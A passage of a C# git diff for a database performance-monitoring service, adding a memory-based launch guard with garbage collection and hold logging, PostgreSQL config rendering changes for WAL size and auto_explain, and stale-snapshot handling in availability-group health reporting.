+/// crossing the one-a-minute limit kept from collecting holds quietly until the next collection is due. A hold ends
+/// the pass the figure is under the line. The guard has no other release path and no forced release: memory that is
+/// still over after the collection keeps the hold, and the stopped-collection alerts report the stop.
+/// </summary>
+/// <remarks>
+/// The sampler, the collection and the clock are injected so a test drives every branch without real memory.
+/// The clock is monotonic on purpose: a wall clock stepped backwards would otherwise stop the once-a-minute
+/// collection and the five-minute warning for as long as the step.
+/// </remarks>
+internal sealed class LaunchMemoryGuard
+{
+    /// <summary>The shortest gap between two guard-run collections while the hold lasts.</summary>
+    internal static readonly TimeSpan CollectionInterval = TimeSpan.FromMinutes(1);
+
+    /// <summary>The gap between the "still holding" warnings.</summary>
+    internal static readonly TimeSpan HoldWarningInterval = TimeSpan.FromMinutes(5);
+
+    private readonly Func<LaunchMemoryReading> _sample;
+    private readonly Action _collectGarbage;
+    private readonly Func<TimeSpan> _clock;
+    private readonly ILogger _logger;
+
+    private bool _holding;
+    private TimeSpan _heldSince;
+    private TimeSpan? _lastCollection;
+    private bool _criticalLogged;
+    private TimeSpan _lastWarning;
+    private bool _warnedSamplerFault;
+
+    /// <param name="sample">Reads the current figure, its limit and which metric that is.</param>
+    /// <param name="collectGarbage">Runs the decommitting full collection.</param>
+    /// <param name="clock">A monotonic clock (time since any fixed start).</param>
+    /// <param name="logger">Where the trip, collection, hold and release lines go.</param>
+    internal LaunchMemoryGuard(Func<LaunchMemoryReading> sample, Action collectGarbage, Func<TimeSpan> clock, ILogger logger)
+    {
+        ArgumentNullException.ThrowIfNull(sample);
+        ArgumentNullException.ThrowIfNull(collectGarbage);
+        ArgumentNullException.ThrowIfNull(clock);
+        ArgumentNullException.ThrowIfNull(logger);
+        _sample = sample;
+        _collectGarbage = collectGarbage;
+        _clock = clock;
+        _logger = logger;
+    }
+
+    /// <summary>True while the guard is holding new launches off.</summary>
+    internal bool IsHolding => _holding;
+
+    /// <summary>
+    /// The production guard: this platform's sampler, the decommitting full collection and the process's monotonic
+    /// tick count.
+    /// </summary>
+    internal static LaunchMemoryGuard CreateDefault(ILogger logger)
+    {
+        Func<LaunchMemoryReading> sample;
+        if (OperatingSystem.IsLinux())
+        {
+            sample = new LinuxLaunchMemorySampler(
+                DarlingStoreHostProfile.TryReadFile,
+                () => { using var process = Process.GetCurrentProcess(); return process.WorkingSet64; },
+                () => GC.GetGCMemoryInfo().TotalAvailableMemoryBytes,
+                logger).Sample;
+        }
+        else
+        {
+            sample = SampleWindowsPrivateBytes;
+        }
+
+        return new LaunchMemoryGuard(
+            sample,
+            CollectAndDecommit,
+            () => TimeSpan.FromMilliseconds(Environment.TickCount64),
+            logger);
+    }
+
+    /// <summary>
+    /// Windows (and anything that is not Linux): committed private bytes against the GC's available-memory budget.
+    /// Private bytes are the metric that matched the field incident, a 13GB commit-limit blowout the GC heap alone
+    /// did not show; on Windows they are the commit charge, which is what the commit limit kills on. The GC's
+    /// budget is the machine's physical memory or the job or container limit.
+    /// </summary>
+    private static LaunchMemoryReading SampleWindowsPrivateBytes()
+    {
+        long privateBytes;
+        using (var process = Process.GetCurrentProcess())
+        {
+            privateBytes = process.PrivateMemorySize64;
+        }
+
+        return new LaunchMemoryReading(
+            privateBytes, GC.GetGCMemoryInfo().TotalAvailableMemoryBytes, "private bytes", "the GC memory budget");
+    }
+
+    /// <summary>The full blocking compacting collection that also decommits the memory it frees (#5479). Aggressive
+    /// is what gives the memory back to the operating system: a plain forced full collection frees the heap but
+    /// leaves the process's private bytes where they were (measured: 553MB to 488MB, against 553MB to 8MB).</summary>
+    internal static void CollectAndDecommit()
+        => GC.Collect(GC.MaxGeneration, GCCollectionMode.Aggressive, blocking: true, compacting: true);
+
+    /// <summary>
+    /// Whether the fleet sweep may launch NEW collection bodies this pass, and the guard's whole state machine. Over
+    /// the line it runs the collection first (at most once a minute; the first one after start is never skipped) and
+    /// holds only if the figure is still over, so a crossing the collection clears costs one Information line and no
+    /// Critical (#5479). Once a collection has left the figure over it logs one Critical per episode, then a Warning
+    /// every five minutes while it holds, and the release (an Information line). A pass that is under the line and not
+    /// holding logs nothing.
+    /// </summary>
+    /// <param name="inFlightBodies">How many collection bodies are still running, for the hold warning.</param>
+    internal bool MayLaunch(int inFlightBodies)
+    {
+        LaunchMemoryReading reading;
+        TimeSpan now;
+        try
+        {
+            now = _clock();
+            reading = _sample();
+        }
+        catch (Exception ex)
+        {
+            /* A guard that cannot read memory must not stop collection: fail open. A hold ends here too, so a later
+             * release line never counts the time collection was running as time held. */
+            if (_holding)
+            {
+                _holding = false;
+                _criticalLogged = false;
+                _warnedSamplerFault = true;
+                _logger.LogWarning(
+                    ex, "The memory launch guard could not read the process memory ({Reason}) — it ends its hold and lets collection launch until it can.", ex.Message);
+            }
+            else if (!_warnedSamplerFault)
+            {
+                _warnedSamplerFault = true;
+                _logger.LogWarning(
+                    ex, "The memory launch guard could not read the process memory ({Reason}) — it lets collection launch until it can.", ex.Message);
+            }
+
+            return true;
+        }
+
+        if (DarlingWorker.ShouldLaunchSweeps(reading.Bytes, reading.LimitBytes))
+        {
+            if (_holding)
+            {
+                Release(now, reading);
+            }
+
+            return true;
+        }
+
+        /* Over the line: collect first (the first collection after start is never rate-limited), then judge the
+         * figure the collection left. */
+        var collected = false;
+        var collectionCompleted = false;
+        if (_lastCollection is not { } last || now - last >= CollectionInterval)
+        {
+            (reading, collectionCompleted) = CollectAndMeasure(reading, now);
+            collected = true;
+        }
+
+        if (DarlingWorker.ShouldLaunchSweeps(reading.Bytes, reading.LimitBytes))
+        {
+            if (_holding)
+            {
+                Release(now, reading);
+            }
+
+            return true;
+        }
+
+        if (!_holding)
+        {
+            _holding = true;
+            _heldSince = now;
+            _lastWarning = now;
+            _criticalLogged = false;
+        }
+
+        if (collected && !_criticalLogged)
+        {
+            _criticalLogged = true;
+            if (collectionCompleted)
+            {
+                _logger.LogCritical(
+                    "Memory over the line even after a full garbage collection: {Metric} {FigureMb}MB is over {Pct:P0} of the {LimitMb}MB limit ({LimitSource}) — PAUSING new collection-body launches so in-flight bodies drain (the #1556 commit-limit backstop). Purge/disk/analysis continue. A full garbage collection runs about once a minute while the pause holds, and the pause ends when the figure is back under the line.",
+                    reading.Metric, Mb(reading.Bytes), DarlingWorker.MemoryGuardFraction, Mb(reading.LimitBytes), reading.LimitSource);
+            }
+            else
+            {
+                /* The collection or the reading after it threw (#5479): the figure is the one from before, so the line
+                   must not claim a collection that did not finish. The next attempt is a minute away. */
+                _logger.LogCritical(
+                    "Memory over the line and the full garbage collection (or the reading after it) failed, so the figure was not re-checked: {Metric} {FigureMb}MB is over {Pct:P0} of the {LimitMb}MB limit ({LimitSource}) — PAUSING new collection-body launches so in-flight bodies drain (the #1556 commit-limit backstop). Purge/disk/analysis continue. The guard tries the garbage collection again about once a minute while the pause holds, and the pause ends when the figure is back under the line.",
+                    reading.Metric, Mb(reading.Bytes), DarlingWorker.MemoryGuardFraction, Mb(reading.LimitBytes), reading.LimitSource);
+            }
+        }
+
+        if (now - _lastWarning >= HoldWarningInterval)
+        {
+            _lastWarning = now;
+            _logger.LogWarning(
+                "The memory launch guard has held collection off for {HeldFor}: {Metric} {FigureMb}MB is still over {Pct:P0} of the {LimitMb}MB limit ({LimitSource}); {InFlight} collection bodies still in flight. No new collection runs while it holds.",
+                FormatHeld(now - _heldSince), reading.Metric, Mb(reading.Bytes), DarlingWorker.MemoryGuardFraction,
+                Mb(reading.LimitBytes), reading.LimitSource, inFlightBodies);
+        }
+
+        return false;
+    }
+
+    /// <summary>Runs the collection, logs the figure before and after, and returns the fresh reading plus whether the
+    /// collection and the reading after it both completed. A failed collection or a failed second reading leaves the
+    /// old reading and reports <c>false</c>, so the hold simply continues and the Critical does not claim a collection.</summary>
+    private (LaunchMemoryReading Reading, bool Completed) CollectAndMeasure(LaunchMemoryReading before, TimeSpan now)
+    {
+        _lastCollection = now;
+        var after = before;
+        var completed = false;
+        try
+        {
+            _collectGarbage();
+            after = _sample();
+            completed = true;
+        }
+        catch (Exception ex)
+        {
+            _logger.LogWarning(ex, "The memory launch guard's garbage collection or the measurement after it failed ({Reason}); the hold continues.", ex.Message);
+        }
+
+        if (completed)
+        {
+            _logger.LogInformation(
+                "The memory launch guard ran a full garbage collection: {Metric} {BeforeMb}MB before, {AfterMb}MB after ({LimitMb}MB limit, {LimitSource}).",
+                before.Metric, Mb(before.Bytes), Mb(after.Bytes), Mb(after.LimitBytes), after.LimitSource);
+        }
+
+        return (after, completed);
+    }
+
+    private void Release(TimeSpan now, LaunchMemoryReading reading)
+    {
+        _holding = false;
+        _criticalLogged = false;
+        _logger.LogInformation(
+            "Memory recovered after a hold of {HeldFor}: {Metric} {FigureMb}MB of {LimitMb}MB ({LimitSource}) — resuming collection-body launches.",
+            FormatHeld(now - _heldSince), reading.Metric, Mb(reading.Bytes), Mb(reading.LimitBytes), reading.LimitSource);
+    }
+
+    private static long Mb(long bytes) => bytes / (1024 * 1024);
+
+    /// <summary>"42s", "7m 05s" or "25h 04m": the hold's length, readable at both ends of what it can be.</summary>
+    internal static string FormatHeld(TimeSpan held)
+    {
+        if (held < TimeSpan.Zero)
+        {
+            held = TimeSpan.Zero;
+        }
+
+        if (held.TotalHours >= 1)
+        {
+            return string.Create(CultureInfo.InvariantCulture, $"{(long)held.TotalHours}h {held.Minutes:00}m");
+        }
+
+        if (held.TotalMinutes >= 1)
+        {
+            return string.Create(CultureInfo.InvariantCulture, $"{held.Minutes}m {held.Seconds:00}s");
+        }
+
+        return string.Create(CultureInfo.InvariantCulture, $"{(long)held.TotalSeconds}s");
+    }
+}
+
+/// <summary>
+/// The Linux launch-guard sampler (#5479): the process's RESIDENT memory (<c>VmRSS</c> in
+/// <c>/proc/self/status</c>) against the limit that actually kills the process, the cgroup memory limit when one is
+/// set and total RAM otherwise. The old Linux figure was <c>Process.PrivateMemorySize64</c>, which the runtime reads
+/// as <c>VmData</c>: every private writable mapping, resident or not. In the field incident it read 1426MB while
+/// the container's resident memory was about 810MB and its limit 2Gi, so the guard paused collection far from any
+/// kill. The limit is read once, on the first sample (it does not change while the process runs); the figure on
+/// every sample. A read that fails falls back to <c>Process.WorkingSet64</c> against the GC's budget, logged once.
+/// </summary>
+internal sealed class LinuxLaunchMemorySampler
+{
+    internal const string ProcStatusPath = "/proc/self/status";
+
+    private readonly Func<string, string?> _readFile;
+    private readonly Func<long> _workingSetBytes;
+    private readonly Func<long> _gcBudgetBytes;
+    private readonly ILogger _logger;
+
+    private bool _limitResolved;
+    private (long Bytes, string Source)? _limit;
+    private bool _loggedFallback;
+
+    /// <param name="readFile">Reads a whole text file, or null when it cannot be read.</param>
+    /// <param name="workingSetBytes">The runtime's own working-set reading, the fallback figure.</param>
+    /// <param name="gcBudgetBytes">The GC's available-memory budget, the fallback limit.</param>
+    /// <param name="logger">Where the one fallback line goes.</param>
+    internal LinuxLaunchMemorySampler(Func<string, string?> readFile, Func<long> workingSetBytes, Func<long> gcBudgetBytes, ILogger logger)
+    {
+        _readFile = readFile;
+        _workingSetBytes = workingSetBytes;
+        _gcBudgetBytes = gcBudgetBytes;
+        _logger = logger;
+    }
+
+    /// <summary>The current reading.</summary>
+    internal LaunchMemoryReading Sample()
+    {
+        if (!_limitResolved)
+        {
+            _limit = ResolveLimit(
+                _readFile(DarlingStoreHostProfile.ProcMeminfoPath),
+                DarlingStoreHostProfile.ResolveCgroupMemoryLimitBytes(
+                    _readFile(DarlingStoreHostProfile.ProcSelfCgroupPath), _readFile));
+            _limitResolved = true;
+        }
+
+        if (_limit is not { } limit)
+        {
+            return Fallback("no memory limit could be read from /proc/meminfo or the cgroup files");
+        }
+
+        var resident = ParseProcStatusBytes(_readFile(ProcStatusPath), "VmRSS");
+        if (resident is null)
+        {
+            return Fallback("VmRSS could not be read from /proc/self/status");
+        }
+
+        return new LaunchMemoryReading(resident.Value, limit.Bytes, "resident memory", limit.Source);
+    }
+
+    private LaunchMemoryReading Fallback(string reason)
+    {
+        if (!_loggedFallback)
+        {
+            _loggedFallback = true;
+            _logger.LogWarning(
+                "The memory launch guard falls back to the process working set against the GC memory budget: {Reason}.", reason);
+        }
+
+        return new LaunchMemoryReading(_workingSetBytes(), _gcBudgetBytes(), "resident memory", "the GC memory budget");
+    }
+
+    /// <summary>
+    /// The effective limit and where it came from, from the text of <c>/proc/meminfo</c> and the tightest cgroup limit
+    /// of this process's own cgroup and its parents (<see cref="DarlingStoreHostProfile.ResolveCgroupMemoryLimitBytes"/>):
+    /// the cgroup limit when it is set and under total RAM, else total RAM. Null when neither is known. The
+    /// resolver and the min-of-the-two rule are the store host profile's, so the guard and <c>--check-settings</c>
+    /// agree on the limit.
+    /// </summary>
+    internal static (long Bytes, string Source)? ResolveLimit(string? meminfoText, long? cgroupLimitBytes)
+    {
+        var ram = DarlingStoreHostProfile.ParseProcMeminfoTotalBytes(meminfoText);
+        var cgroup = cgroupLimitBytes;
+
+        if (ram is not { } totalRam)
+        {
+            return cgroup is { } onlyCgroup ? (onlyCgroup, "cgroup memory limit") : null;
+        }
+
+        var effective = DarlingStoreHostProfile.ComputeEffectiveMemoryLimitBytes(totalRam, cgroup);
+        return (effective, cgroup is not null && effective != totalRam ? "cgroup memory limit" : "total RAM");
+    }
+
+    /// <summary>
+    /// One <c>Key:   N kB</c> line of <c>/proc/self/status</c> (for example <c>VmRSS</c> or <c>VmData</c>) as bytes,
+    /// or null when the text has no parseable line for that key.
+    /// </summary>
+    internal static long? ParseProcStatusBytes(string? statusText, string key)
+    {
+        if (string.IsNullOrEmpty(statusText))
+        {
+            return null;
+        }
+
+        var prefix = key + ":";
+        foreach (var rawLine in statusText.Split('\n'))
+        {
+            var line = rawLine.TrimEnd('\r').TrimStart();
+            if (!line.StartsWith(prefix, StringComparison.Ordinal))
+            {
+                continue;
+            }
+
+            var rest = line[prefix.Length..].Trim();
+            var spaceIndex = rest.IndexOf(' ');
+            var numberText = spaceIndex >= 0 ? rest[..spaceIndex] : rest;
+            return long.TryParse(numberText, NumberStyles.None, CultureInfo.InvariantCulture, out var kb) && kb >= 0
+                ? kb * 1024L
+                : null;
+        }
+
+        return null;
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/ManagedConfFile.cs b/Darling/PerformanceMonitor.Darling.Service/ManagedConfFile.cs
index fe1eac2e68..4a21d48061 100644
--- a/Darling/PerformanceMonitor.Darling.Service/ManagedConfFile.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/ManagedConfFile.cs
@@ -95,6 +95,13 @@ internal static class ManagedConfFile
     /// Every value <see cref="Render"/> needs, gathered by the caller (<c>DarlingManagedPostgres</c>, which
     /// alone holds the Windows-only readers) so this type and <see cref="Render"/> stay pure and portable: no
     /// P/Invoke, no file I/O, callable from a plain unit test with literal numbers.
+    ///
+    /// <para><paramref name="InForceMaxWalSizeMb"/> (#5459) is the <c>max_wal_size</c> the file already on disk
+    /// carries, in whole MB, or null when there is no such file, it is a hand edit, or it has no whole-MB figure.
+    /// <see cref="RenderBody"/> keeps that rung while it is still within the verdict tolerance of the free-space
+    /// reading (<see cref="DarlingManagedPostgres.IsWalSizeWithinDriftOf"/>), so a volume standing next to a
+    /// ladder edge does not render a different body from one start to the next. It is an input rather than
+    /// something <see cref="RenderBody"/> reads, to keep the render pure: the same inputs, the same bytes.</para>
     /// </summary>
     internal readonly record struct RenderInputs(
         int FormulaVersion,
@@ -108,7 +115,8 @@ internal readonly record struct RenderInputs(
         long DataVolumeTotalBytes,
         bool DataVolumeAuthoritative,
         int Port,
-        string? EffectivePreloadList);
+        string? EffectivePreloadList,
+        long? InForceMaxWalSizeMb = null);
 
     /// <summary>One parse of an existing <see cref="FileName"/>: whether it carries a recognizable
     /// <see cref="BodyHashPrefix"/> line at all, the hash it declares, and the body text that line's hash is
@@ -170,9 +178,9 @@ private static long RoundToGiB(long bytes)
     }
 
     /// <summary>
-    /// The body alone: one <c>key = 'value'</c> line per setting the v1 through v17 blocks set today, in the
+    /// The body alone: one <c>key = 'value'</c> line per setting the v1 through v18 blocks set today, in the
     /// order each key is FIRST introduced (v1 before v2 before v3 ...), holding the value each key has LAST —
-    /// exactly what PostgreSQL itself would read from those seventeen blocks appended in order to one file. Every
+    /// exactly what PostgreSQL itself would read from those eighteen blocks appended in order to one file. Every
     /// value is single-quoted and escaped (<c>DarlingManagedPostgres.EscapeConfValue</c>): PostgreSQL accepts a
     /// quoted string for a numeric or boolean GUC too, and quoting uniformly means no value's own content (a
     /// path with a backslash, say) needs a second escaping rule here.
@@ -206,7 +214,7 @@ values above stay exactly as they are today when v8 skips itself. */
         if (inputs.DataVolumeAuthoritative)
         {
             blocks.Append(DarlingManagedPostgres.BuildWalSizingConfAppend(
-                inputs.DataVolumeFreeBytes, inputs.DataVolumeTotalBytes, inputs.PostgresMajor));
+                inputs.DataVolumeFreeBytes, inputs.DataVolumeTotalBytes, inputs.PostgresMajor, inputs.InForceMaxWalSizeMb));
         }
 
         /* v13 (#3899): the preload list is the MERGE of what's in force plus timescaledb and
@@ -233,6 +241,11 @@ from starting. NeedsLegacyMaintenanceWorkMemCap is the same pure predicate Ensur
         /* v17: a fixed log_line_prefix, appended in the same order as the legacy blocks above. */
         blocks.Append(DarlingManagedPostgres.BuildLogLinePrefixConfAppend());
 
+        /* v18 (part of #5097): auto_explain. Its preload line is the MERGE of the effective list plus
+           pg_stat_statements and auto_explain, so ReduceToLastOccurrence lets it win over v13's, and a list
+           that already names auto_explain renders identically on every start. */
+        blocks.Append(DarlingManagedPostgres.BuildSlowPlanConfAppend(inputs.EffectivePreloadList));
+
         /* Planner page cost: no legacy block and no marker; this file is the only place the setting is written. */
         blocks.Append(DarlingManagedPostgres.BuildPlannerPageCostConfAppend());
 
@@ -383,6 +396,33 @@ internal static ParsedManagedConf ParseExisting(string fileText)
         return new ParsedManagedConf(false, null, normalized);
     }
 
+    /// <summary>
+    /// The <c>max_wal_size</c> an existing <see cref="FileName"/> carries, in whole MB (#5459), for
+    /// <see cref="RenderInputs.InForceMaxWalSizeMb"/>. Null for a hand edit (<see cref="IsHandEdited"/>), which
+    /// never has its values carried forward, and for a file with no <c>max_wal_size</c> line or one that is not
+    /// a whole number of megabytes (v4's fixed <c>4GB</c>, which the file carries when no disk reading was
+    /// authoritative).
+    /// </summary>
+    internal static long? ReadInForceMaxWalSizeMb(string existingFileText)
+    {
+        if (IsHandEdited(existingFileText))
+        {
+            return null;
+        }
+
+        var (_, values) = ReduceToLastOccurrence(ParseExisting(existingFileText).Body);
+        if (!values.TryGetValue("max_wal_size", out var value))
+        {
+            return null;
+        }
+
+        var match = System.Text.RegularExpressions.Regex.Match(
+            value, @"^(\d{1,9})MB$", System.Text.RegularExpressions.RegexOptions.CultureInvariant);
+        return match.Success
+            ? long.Parse(match.Groups[1].Value, System.Globalization.CultureInfo.InvariantCulture)
+            : null;
+    }
+
     /// <summary>
     /// Whether an existing <see cref="FileName"/> is no longer what this class rendered (a "hand
     /// edit"): its body's hash no longer matches what its own header declares. A file with no
diff --git a/Darling/PerformanceMonitor.Darling.Service/ManagedConfMigration.cs b/Darling/PerformanceMonitor.Darling.Service/ManagedConfMigration.cs
index c38b29e011..41035d4bc8 100644
--- a/Darling/PerformanceMonitor.Darling.Service/ManagedConfMigration.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/ManagedConfMigration.cs
@@ -31,8 +31,8 @@ namespace PerformanceMonitor.Darling.Service;
 /// <see cref="ConfLineClassification.HandEdit"/> (left in place, never migrated as ours) until this
 /// classifier covers that block version too.</para>
 ///
-/// <para><b>Coverage today: v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15</b>
-/// (<see cref="CoveredMarkers"/>). v4, v6, v9, v10, v11, v13, v14, v15 write only FIXED constants with no
+/// <para><b>Coverage today: v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18</b>
+/// (<see cref="CoveredMarkers"/>). v18 (part of #5097) reuses v13's preload form test and fixed-line compare. v4, v6, v9, v10, v11, v13, v14, v15 write only FIXED constants with no
 /// derivation input at all — a block appended once with the same bytes on every store, so the rebuild test
 /// is a plain string comparison (v14, v15, and v13's <c>track_utility</c> line), or a round trip through a
 /// pure parse/format pair the codebase already has (v13's preload-library merge). v1 is NOT covered
@@ -133,6 +133,7 @@ internal readonly record struct ClassifiedConfLine(
         DarlingManagedPostgres.ConfMarkerV15,
         DarlingManagedPostgres.ConfMarkerV16,
         DarlingManagedPostgres.ConfMarkerV17,
+        DarlingManagedPostgres.ConfMarkerV18,
     ];
 
     /// <summary>
@@ -296,6 +297,7 @@ store carries this line. See ClassifyV1Line's doc comment. */
                 key, text, "checkpoint_timeout", "checkpoint_timeout = 15min"),
             _ when span.Marker == DarlingManagedPostgres.ConfMarkerV17 => ClassifyFixedLine(
                 key, text, "log_line_prefix", "log_line_prefix = '%m [%p] %a '"),
+            _ when span.Marker == DarlingManagedPostgres.ConfMarkerV18 => ClassifyV18Line(key, value, text),
             _ => (false, HandEditReason.FormMismatch),
         };
 
@@ -784,16 +786,62 @@ private static (bool IsOurs, HandEditReason Reason) ClassifyV13Line(string key,
     {
         if (string.Equals(key, DarlingManagedPostgres.PreloadSetting, StringComparison.OrdinalIgnoreCase))
         {
-            var roundTripped = DarlingManagedPostgres.FormatPreloadList(DarlingManagedPostgres.ParsePreloadList(value));
-            var expected = FormattableString.Invariant($"{DarlingManagedPostgres.PreloadSetting} = '{DarlingManagedPostgres.EscapeConfValue(roundTripped)}'");
-            return string.Equals(text.Trim(), expected, StringComparison.Ordinal)
-                ? (true, HandEditReason.None)
-                : (false, HandEditReason.FormMismatch);
+            return ClassifyPreloadLineForm(value, text);
         }
 
         return ClassifyFixedLine(key, text, DarlingManagedPostgres.StatementStatisticsLibrary + ".track_utility", DarlingManagedPostgres.StatementStatisticsLibrary + ".track_utility = off");
     }
 
+    /// <summary>The form test v13 and v18 share for their merged <c>shared_preload_libraries</c> line: the
+    /// value must round-trip through <see cref="DarlingManagedPostgres.ParsePreloadList"/> then
+    /// <see cref="DarlingManagedPostgres.FormatPreloadList"/> unchanged, so the line is byte-identical to what
+    /// the builder writes for that list.</summary>
+    private static (bool IsOurs, HandEditReason Reason) ClassifyPreloadLineForm(string value, string text)
+    {
+        var roundTripped = DarlingManagedPostgres.FormatPreloadList(DarlingManagedPostgres.ParsePreloadList(value));
+        var expected = FormattableString.Invariant($"{DarlingManagedPostgres.PreloadSetting} = '{DarlingManagedPostgres.EscapeConfValue(roundTripped)}'");
+        return string.Equals(text.Trim(), expected, StringComparison.Ordinal)
+            ? (true, HandEditReason.None)
+            : (false, HandEditReason.FormMismatch);
+    }
+
+    /// <summary>
+    /// v18's eight lines (part of #5097): the merged preload line takes the v13 form test
+    /// (<see cref="ClassifyPreloadLineForm"/>), and each <c>auto_explain.*</c> line is a fixed constant, so
+    /// <see cref="ClassifyFixedLine"/> compares it byte for byte. Any other key inside the block is a hand edit.
+    /// </summary>
+    private static (bool IsOurs, HandEditReason Reason) ClassifyV18Line(string key, string value, string text)
+    {
+        if (string.Equals(key, DarlingManagedPostgres.PreloadSetting, StringComparison.OrdinalIgnoreCase))
+        {
+            return ClassifyPreloadLineForm(value, text);
+        }
+
+        foreach (var (setting, written) in V18FixedLines)
+        {
+            if (string.Equals(key, DarlingManagedPostgres.AutoExplainLibrary + "." + setting, StringComparison.OrdinalIgnoreCase))
+            {
+                return ClassifyFixedLine(
+                    key, text, DarlingManagedPostgres.AutoExplainLibrary + "." + setting,
+                    DarlingManagedPostgres.AutoExplainLibrary + "." + setting + " = " + written);
+            }
+        }
+
+        return (false, HandEditReason.FormMismatch);
+    }
+
+    /// <summary>v18's fixed lines, as the setting name after <c>auto_explain.</c> and the value as written.</summary>
+    private static readonly (string Setting, string Written)[] V18FixedLines =
+    [
+        ("log_min_duration", "10s"),
+        ("log_analyze", "off"),
+        ("log_format", "json"),
+        ("log_nested_statements", "off"),
+        ("log_verbose", "on"),
+        ("log_settings", "on"),
+        ("log_parameter_max_length", "0"),
+    ];
+
     /// <summary>
     /// The rebuild-plus-form test for a key whose covered block writes exactly one constant line (v14, v15,
     /// and v13's <c>track_utility</c> setting): the key must match AND the raw line, trimmed, must be
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingAgReader.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingAgReader.cs
index 21da308701..038d943f19 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingAgReader.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingAgReader.cs
@@ -88,6 +88,7 @@ public static async Task<AgHealthResult> GetAgHealthAsync(
         int? serverIdFilter = null,
         DateTime? nowUtc = null,
         int? limit = null,
+        int? responseByteBudget = McpResponseBudget.DefaultBytes,
         CancellationToken cancellationToken = default)
     {
         var effectiveNow = nowUtc ?? DateTime.UtcNow;
@@ -100,7 +101,7 @@ costs exactly one indexed read that returns nothing — this read runs on every
             ? new List<DatabaseRow>()
             : await ReadDatabasesAsync(postgres, serverIdFilter, effectiveNow, cancellationToken);
 
-        return Build(replicas, databases, effectiveNow, limit);
+        return Build(replicas, databases, effectiveNow, limit, responseByteBudget);
     }
 
     /// <summary>
@@ -129,7 +130,8 @@ internal static AgHealthResult Build(
         IReadOnlyList<ReplicaRow> replicas,
         IReadOnlyList<DatabaseRow> databases,
         DateTime nowUtc,
-        int? limit = null)
+        int? limit = null,
+        int? responseByteBudget = McpResponseBudget.DefaultBytes)
     {
         /* Group key is (server_id, ag_name) — one card per reporting server's view of an AG. A NULL ag_name is
            possible under quorum loss (the catalog views fall back to cached metadata); it groups under an empty
@@ -174,6 +176,26 @@ the least-lagging tied groups first rather than an arbitrary alphabetical tail.
                 worstMagnitude = Math.Max(worstMagnitude, Math.Max(database.LogSendQueueKb ?? 0, database.RedoQueueKb ?? 0));
             }
 
+            /* #5489: the badge describes the snapshot, so it can only be as current as the snapshot. A group whose
+               newest replica snapshot is older than the fleet's offline mark (ServerHealthThresholds.OfflineThreshold,
+               the same 30 minutes the card's Offline band and the AG self-alert's freshness gate use) says "Stale"
+               and ranks Warning, whatever the old rows said: 12 days after the last collection a row that read
+               HEALTHY is a memory, not a status. It is NOT Unknown: Unknown is the lowest enum value, so a stale
+               group would sort below a Healthy one and a fleet whose only non-healthy group is stale would read
+               Healthy in worst_severity (round-1 M1). Warning gives the roll-up and the severity sort the
+               honest "something needs a look" reading; the label stays "Stale". Otherwise a group with no PRIMARY in view is never Healthy: with
+               nobody holding the role the group is not serving, and all-green replicas around a missing primary
+               were the "Healthy, No primary reported" card. Warning is the floor, a worse band stays. */
+            var isStale = nowUtc - first.CollectionTime > ServerHealthThresholds.OfflineThreshold;
+            if (isStale)
+            {
+                worst = HealthSeverity.Warning;
+            }
+            else if (!replicaViews.Any(r => r.IsPrimary) && worst < HealthSeverity.Warning)
+            {
+                worst = HealthSeverity.Warning;
+            }
+
             groups.Add(new AvailabilityGroupView
             {
                 ServerId = first.ServerId,
@@ -186,7 +208,8 @@ NULL mid-upgrade rather than requiring every row in the group to agree. */
                 DatabaseCollectionTime = dbRows is { Count: > 0 } ? dbRows[0].CollectionTime : null,
                 PrimaryReplica = replicaViews.FirstOrDefault(r => r.IsPrimary)?.ReplicaServerName,
                 Severity = worst,
-                SeverityLabel = SeverityLabel(worst),
+                SeverityLabel = isStale ? "Stale" : SeverityLabel(worst),
+                IsStale = isStale,
                 Replicas = replicaViews,
                 Databases = databaseViews,
                 WorstMagnitude = worstMagnitude,
@@ -210,73 +233,123 @@ the running serialized size past the budget — never after. Each candidate grou
            ONCE (its own bytes are cached, not re-derived by re-serializing the growing array), so this stays
            O(n) rather than O(n^2) on a large fleet. */
         var effectiveLimit = limit is int callerLimit ? Math.Max(0, Math.Min(callerLimit, totalGroupCount)) : totalGroupCount;
-        var candidateGroups = groups.Take(effectiveLimit).ToList();
+
+        /* #5042: when a limit or the byte budget has to cut, the cut must not hide a whole availability group.
+           The selection order is therefore ONE view per group_id first (the view where the primary is visible if
+           there is one, else the best-ranked view), then every other view in the usual most-severe-first order.
+           The page that comes back is re-sorted into the usual order, so only WHICH views survive changes. */
+        var seedIndexes = new List<int>();
+        var seedByKey = new Dictionary<string, int>(StringComparer.Ordinal);
+        for (var i = 0; i < groups.Count; i++)
+        {
+            var key = GroupKey(groups[i]);
+            if (!seedByKey.TryGetValue(key, out var current))
+            {
+                seedByKey[key] = i;
+            }
+            else if (groups[current].PrimaryReplica is null && groups[i].PrimaryReplica is not null
+                && groups[i].Severity == groups[current].Severity)
+            {
+                /* The seed is the BEST-RANKED view (groups is already in CompareGroups order, so the first one
+                   seen wins); the visible-primary view replaces it only on a severity tie, so a Healthy primary
+                   view never buries a Critical secondary view. */
+                seedByKey[key] = i;
+            }
+        }
+
+        var seedSet = new HashSet<int>(seedByKey.Values);
+        seedIndexes.AddRange(seedSet.OrderBy(i => i));
+        var selectionOrder = seedIndexes.Concat(Enumerable.Range(0, groups.Count).Where(i => !seedSet.Contains(i))).Take(effectiveLimit).ToList();
 
         /* The envelope's own bytes (everything but the availability_groups array contents) — measured ONCE off
            an empty-page shell of the real result, so the running total below only has to add each group's own
-           bytes plus its separating comma, not re-serialize the whole growing array every step. */
-        var envelopeBytes = SerializedByteCount(BuildResult(nowUtc, groups, Array.Empty<AvailabilityGroupView>(), 0, false, null));
+           bytes plus its separating comma. With no byte budget (the web page) nothing is measured. */
+        var envelopeBytes = responseByteBudget is null
+            ? 0
+            : SerializedByteCount(BuildResult(nowUtc, groups, Array.Empty<AvailabilityGroupView>(), 0, false, null));
 
-        var pagedGroups = new List<AvailabilityGroupView>();
+        var chosen = new List<int>();
